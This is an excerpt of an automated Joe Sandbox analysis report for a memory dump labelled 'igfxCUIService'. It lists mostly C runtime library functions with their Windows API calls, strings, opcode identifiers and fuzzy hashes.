Function 00D48E5D, Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 00D48E97

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 00bab20c30985b6e63b63a9b1d7fd1d4c7bc13a49a723728d534f64452207871
Instruction ID: 67fa4603c1823b38617b595d35787be4f1c992211447156d5d5315041ae842d0
Opcode Fuzzy Hash: 00bab20c30985b6e63b63a9b1d7fd1d4c7bc13a49a723728d534f64452207871
Instruction Fuzzy Hash: 27113371A0420AAFCB05DF59E94198F7BF4EF48344F0440A9F808EB311DA70EA159B64

Uniqueness

Uniqueness Score: 0.30%

Function 00D4C6D1, Relevance: 1.6, APIs: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D46876: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D4710F,00000001,00000364,00000006,000000FF,?,?,?,00D4185C,00D46950), ref: 00D468B7

_free.LIBCMT ref: 00D4C740

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: a30e8605a2eb8de14869478dd35ca90c301679f309bffa3130f202b4217855f8
Instruction ID: 9dc214911729c2fff4b96e95f2cc99b83e29e7b85ab856371256cc9c1a75d68e
Opcode Fuzzy Hash: a30e8605a2eb8de14869478dd35ca90c301679f309bffa3130f202b4217855f8
Instruction Fuzzy Hash: 170168B2600356ABC720CFA8C88199EFB98EB053B0F15026DF456B76C0E770AC00CBB0

Uniqueness

Uniqueness Score: 0.02%

Function 00D40E6F, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ef9a211567bd6a44e3aff3fe788fc3b70a48939546757e152cccebadd786a5
Instruction ID: dc1d47fe321c9c294b2774a6f6504829f7746144925d9706506d0aa6f7742a62
Opcode Fuzzy Hash: a4ef9a211567bd6a44e3aff3fe788fc3b70a48939546757e152cccebadd786a5
Instruction Fuzzy Hash: 84F028365017145BC7213A39CC09B9B3BA8CF92334F140B25FB65931D1CB74D81286F5

Uniqueness

Uniqueness Score: 0.00%

Function 00D46876, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D4710F,00000001,00000364,00000006,000000FF,?,?,?,00D4185C,00D46950), ref: 00D468B7

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 01d6aa05c5ee59d2cb69bb97fd3bcca0df09fb56ad90f5f2173a43d4fb71549d
Instruction ID: a7484a8d90de4b0bebc0a5dbed6434f85c6f77efd6417b14b1d12c9fb3bde30d
Opcode Fuzzy Hash: 01d6aa05c5ee59d2cb69bb97fd3bcca0df09fb56ad90f5f2173a43d4fb71549d
Instruction Fuzzy Hash: 7CF0823160462567DF316B66EC09F6A7B48EF43760B1C4122FC0AE61D4CA70ED1596F2

Uniqueness

Uniqueness Score: 0.00%

Function 00D4690D, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00D348E0,?,?,00D28B4A,?,?,00D11154), ref: 00D4693F

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1bde82ae9e5cf839eca606e9d6e409c108fc2d114e9fb209a477ec7dfed1bc2d
Instruction ID: 6559e850523135d4520cd7255c664cdb7cb3dc5b698284210da61909b9c70424
Opcode Fuzzy Hash: 1bde82ae9e5cf839eca606e9d6e409c108fc2d114e9fb209a477ec7dfed1bc2d
Instruction Fuzzy Hash: 77E06D3120462167DA212A6A9C04B5A3A48DF43BB0F1D0520FC5AE61D8DBF0DC408AB3

Uniqueness

Uniqueness Score: 0.00%

Function 00D53CC1, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00D54023,?,?,00000000,?,00D54023,00000000,0000000C), ref: 00D53CDE

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d6b3dc222e73b55eca19ea42479767244f2a2dc2e6951a4f1852bf436a396f31
Instruction ID: 9679a0edfe8a20d8fca9f0e389a87de64e2bb2f7527a56a020e8da9bf526cc7d
Opcode Fuzzy Hash: d6b3dc222e73b55eca19ea42479767244f2a2dc2e6951a4f1852bf436a396f31
Instruction Fuzzy Hash: 59D06C3201020DBBDF028F88DC06EDA3FAAFB48715F014100BE1896160C732E861EB91

Uniqueness

Uniqueness Score: 0.01%

Function 00D35E7F, Relevance: 1.5, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(?,?,00D3591B,00D35961,?,00D357A8,00000000,00000000,00000000,00000004,00D288A0,00000001,00000008,00000000,00000000,F0B87680), ref: 00D35E92

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 199225d979ebcecb0c1e3711930e28f4270950c0a393b1c459aec8b1cc8b4564
Instruction ID: f2928a237bae6336b3929accaff57ec79ef6c43d27bf93056bbb17b8e39a7d7f
Opcode Fuzzy Hash: 199225d979ebcecb0c1e3711930e28f4270950c0a393b1c459aec8b1cc8b4564
Instruction Fuzzy Hash: D8D0C9B8048B049BEB04AF48FC4AB103BA5E306301F000029E94CC23B1D7F15494CA74

Uniqueness

Uniqueness Score: 0.01%

Non-executed Functions

Function 00D360A8, Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderUNIQUE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D360AE
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00D360BC
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00D360CD
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00D360DE
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00D360EF
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00D36100
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00D36111
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00D36122
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00D36133
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00D36144
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00D36155
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00D36166
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00D36177
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00D36188
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00D36199
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00D361AA
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00D361BB
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00D361CC
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00D361DD
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00D361EE
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00D361FF
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00D36210
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00D36221
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00D36232
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00D36243
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00D36254
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00D36265
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00D36276
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00D36287
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00D36298
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00D362A9
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00D362BA
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00D362CB
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00D362DC
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00D362ED
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00D362FE
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00D3630F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00D36320
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00D36331
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00D36342
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00D36353

Strings

CloseThreadpoolWait, xrefs: 00D361B0
AcquireSRWLockExclusive, xrefs: 00D362AF
InitializeCriticalSectionEx, xrefs: 00D360F5
ReleaseSRWLockExclusive, xrefs: 00D362D1
SetThreadpoolTimer, xrefs: 00D3615B
CreateSemaphoreW, xrefs: 00D36128
CloseThreadpoolWork, xrefs: 00D36315
FreeLibraryWhenCallbackReturns, xrefs: 00D361D2
GetCurrentPackageId, xrefs: 00D36205
GetCurrentProcessorNumber, xrefs: 00D361E3
FlsAlloc, xrefs: 00D360B6
TryAcquireSRWLockExclusive, xrefs: 00D362C0
CloseThreadpoolTimer, xrefs: 00D3617D
InitializeSRWLock, xrefs: 00D3629E
CreateSemaphoreExW, xrefs: 00D36139
WaitForThreadpoolTimerCallbacks, xrefs: 00D3616C
CreateThreadpoolWait, xrefs: 00D3618E
InitOnceExecuteOnce, xrefs: 00D36106
WakeConditionVariable, xrefs: 00D3626B
WakeAllConditionVariable, xrefs: 00D3627C
SleepConditionVariableSRW, xrefs: 00D362E2
GetTickCount64, xrefs: 00D36216
SetFileInformationByHandle, xrefs: 00D36238
FlsFree, xrefs: 00D360C2
FlsGetValue, xrefs: 00D360D3
CreateSymbolicLinkW, xrefs: 00D361F9
InitializeConditionVariable, xrefs: 00D3625A
GetFileInformationByHandleEx, xrefs: 00D36227
SubmitThreadpoolWork, xrefs: 00D36304
CreateThreadpoolWork, xrefs: 00D362F3
CreateEventExW, xrefs: 00D36117
kernel32.dll, xrefs: 00D360A9
CompareStringEx, xrefs: 00D36326
GetSystemTimePreciseAsFileTime, xrefs: 00D36249
LCMapStringEx, xrefs: 00D36348
FlushProcessWriteBuffers, xrefs: 00D361C1
SetThreadpoolWait, xrefs: 00D3619F
FlsSetValue, xrefs: 00D360E4
SleepConditionVariableCS, xrefs: 00D3628D
GetLocaleInfoEx, xrefs: 00D36337
CreateThreadpoolTimer, xrefs: 00D3614A

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 0f3e1c95d4aa65c9a6eadfed4bb6cd54edd6ec3acab9079c32985b479cf1bbaa
Instruction ID: 9a99932e41a9c1b63dac71ec07916618dc7037d78f7eabc1bb27d38f77246b8a
Opcode Fuzzy Hash: 0f3e1c95d4aa65c9a6eadfed4bb6cd54edd6ec3acab9079c32985b479cf1bbaa
Instruction Fuzzy Hash: DB613371962B20AFDB005FBCBC0D89A3EA8EA097573009627FD16D23A4D7F4444CAB75

Uniqueness

Uniqueness Score: 100.00%

Function 00D4EAAA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,00D4EDC8,00000002,00000000,?,?,?,00D4EDC8,?,00000000), ref: 00D4EB43
GetLocaleInfoW.KERNEL32(00000000,20001004,00D4EDC8,00000002,00000000,?,?,?,00D4EDC8,?,00000000), ref: 00D4EB6C
GetACP.KERNEL32(?,?,00D4EDC8,?,00000000), ref: 00D4EB81

Strings

OCP, xrefs: 00D4EAFE
ACP, xrefs: 00D4EAC8

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: c18cdadd9f92abef2ed8af2cd7f15696739995d8be92448d6914b6b4b94f7f3a
Instruction ID: 89ff382282f6744db5469905f9e01c2d769aa10a15f6f8f3605c0469d0acb83e
Opcode Fuzzy Hash: c18cdadd9f92abef2ed8af2cd7f15696739995d8be92448d6914b6b4b94f7f3a
Instruction Fuzzy Hash: 1A21B022A00211FBDB348F59CD45AA7B3A6FF54B68B5E8524E94BD7210E732ED41C3B0

Uniqueness

Uniqueness Score: 0.03%

Function 00D4EC7F, Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D46F6D: GetLastError.KERNEL32(00000008,?,00000000,00D4C55A,00D3591B,00D35961,?,00D357A8,00000000), ref: 00D46F72
Part of subcall function 00D46F6D: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00D357A8,00000000), ref: 00D47010

Part of subcall function 00D46F6D: _free.LIBCMT ref: 00D46FCF
Part of subcall function 00D46F6D: _free.LIBCMT ref: 00D47005

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00D4ED8B
IsValidCodePage.KERNEL32(00000000), ref: 00D4EDD4
IsValidLocale.KERNEL32(?,00000001), ref: 00D4EDE3
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00D4EE2B
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00D4EE4A

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 5ec1c0e1fd73fd52a489ca051728abd56d63a753198d2f0fe486422caec35b3d
Instruction ID: f4be624ca3ffd75e2ae44c078aed0d8794558e6fa01650552d538351c67bbbd7
Opcode Fuzzy Hash: 5ec1c0e1fd73fd52a489ca051728abd56d63a753198d2f0fe486422caec35b3d
Instruction Fuzzy Hash: 13516D72E00215BFDB20EFA5CC41ABAB7B8FF08700F184529E915E7290EB709A44CB71

Uniqueness

Uniqueness Score: 0.13%

Function 00D4E31E, Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D46F6D: GetLastError.KERNEL32(00000008,?,00000000,00D4C55A,00D3591B,00D35961,?,00D357A8,00000000), ref: 00D46F72
Part of subcall function 00D46F6D: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00D357A8,00000000), ref: 00D47010

GetACP.KERNEL32(?,?,?,?,?,?,00D44253,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00D4E3DF
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00D44253,?,?,?,00000055,?,-00000050,?,?), ref: 00D4E40A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00D4E56D

Strings

utf8, xrefs: 00D4E4DC

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: a994cbe30b3da4ed09e72aca861505a9c3fdf024e5a4e590983090a0d7268ec3
Instruction ID: 42411b00dc7a747ae9aa32a2dcce24725917c627ba9de5e7ca2962ab0ffeb4f5
Opcode Fuzzy Hash: a994cbe30b3da4ed09e72aca861505a9c3fdf024e5a4e590983090a0d7268ec3
Instruction Fuzzy Hash: 9371C372A00306BBDB25AF75CC8ABAB73A8FF49704F184429F945DB181FB74E9408671

Uniqueness

Uniqueness Score: 6.12%

Function 00D4B17F, Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c3b0b10dae3f9ee04aaeaf0cfa5d2f0f01c55839207f593d39e6bdc1a8d57bd
Instruction ID: e8fbe8e6f621f069d770dabe49de2456b31f982859047ee23f9ea6ff490e83de
Opcode Fuzzy Hash: 4c3b0b10dae3f9ee04aaeaf0cfa5d2f0f01c55839207f593d39e6bdc1a8d57bd
Instruction Fuzzy Hash: 0631C676900219AFCB24EFA9CC89DBBB7B9EB94320F544159F90597240EA70ED408B74

Uniqueness

Uniqueness Score: 0.00%

Function 00D457A0, Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D4580F
_free.LIBCMT ref: 00D45825
_free.LIBCMT ref: 00D45838
_free.LIBCMT ref: 00D4584D
_free.LIBCMT ref: 00D45862
GetCPInfo.KERNEL32(?,?), ref: 00D458AC

Part of subcall function 00D4FA8E: _free.LIBCMT ref: 00D4FAF9

_free.LIBCMT ref: 00D45B17
_free.LIBCMT ref: 00D45B2A
_free.LIBCMT ref: 00D45B38
_free.LIBCMT ref: 00D45B43
_free.LIBCMT ref: 00D45B85
_free.LIBCMT ref: 00D45B8D
_free.LIBCMT ref: 00D45B93
_free.LIBCMT ref: 00D45B9B
_free.LIBCMT ref: 00D45BA9

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 8e963f0cf4143bb3e372aff129965d48a965bffe649cc70b2830f44b7f21ff68
Instruction ID: d45951495d11b42767c841d0f2e254534e827c5d41a4e8e911421a494cdd1a41
Opcode Fuzzy Hash: 8e963f0cf4143bb3e372aff129965d48a965bffe649cc70b2830f44b7f21ff68
Instruction Fuzzy Hash: CFD1AB71E007059FDB21DFA8D881BAEBBF5FF09310F184169E895AB282D774A945CB70

Uniqueness

Uniqueness Score: 0.67%

Function 00D4D905, Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00D4D949

Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CB22
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CB34
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CB46
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CB58
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CB6A
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CB7C
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CB8E
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CBA0
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CBB2
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CBC4
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CBD6
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CBE8
Part of subcall function 00D4CB05: _free.LIBCMT ref: 00D4CBFA

_free.LIBCMT ref: 00D4D93E

Part of subcall function 00D468D3: HeapFree.KERNEL32(00000000,00000000,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?), ref: 00D468E9
Part of subcall function 00D468D3: GetLastError.KERNEL32(?,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?,?), ref: 00D468FB

_free.LIBCMT ref: 00D4D960
_free.LIBCMT ref: 00D4D975
_free.LIBCMT ref: 00D4D980
_free.LIBCMT ref: 00D4D9A2
_free.LIBCMT ref: 00D4D9B5
_free.LIBCMT ref: 00D4D9C3
_free.LIBCMT ref: 00D4D9CE
_free.LIBCMT ref: 00D4DA06
_free.LIBCMT ref: 00D4DA0D
_free.LIBCMT ref: 00D4DA2A
_free.LIBCMT ref: 00D4DA42

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 59d7e2ed12a7b79e771956cd2fb1be106e0b73490395fa7c0e68fde91a3e2a5b
Instruction ID: 8b8f4ddf13ac47a9eada2b4a7702b25f9588bd0f8d1f7c54e6b4e255539962b6
Opcode Fuzzy Hash: 59d7e2ed12a7b79e771956cd2fb1be106e0b73490395fa7c0e68fde91a3e2a5b
Instruction Fuzzy Hash: 243190716043419FEB20AA79D846B5BB3EAEF02310F184529F09AD7191DF74ED40CB31

Uniqueness

Uniqueness Score: 0.13%

Function 00D4CC03, Relevance: 18.4, APIs: 12, Instructions: 374COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D4CC4B
_free.LIBCMT ref: 00D4CC6F
_free.LIBCMT ref: 00D4CC7C
_free.LIBCMT ref: 00D4CCA1
_free.LIBCMT ref: 00D4CCAE
_free.LIBCMT ref: 00D4CCB7
_free.LIBCMT ref: 00D4CF92
_free.LIBCMT ref: 00D4CF9A

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

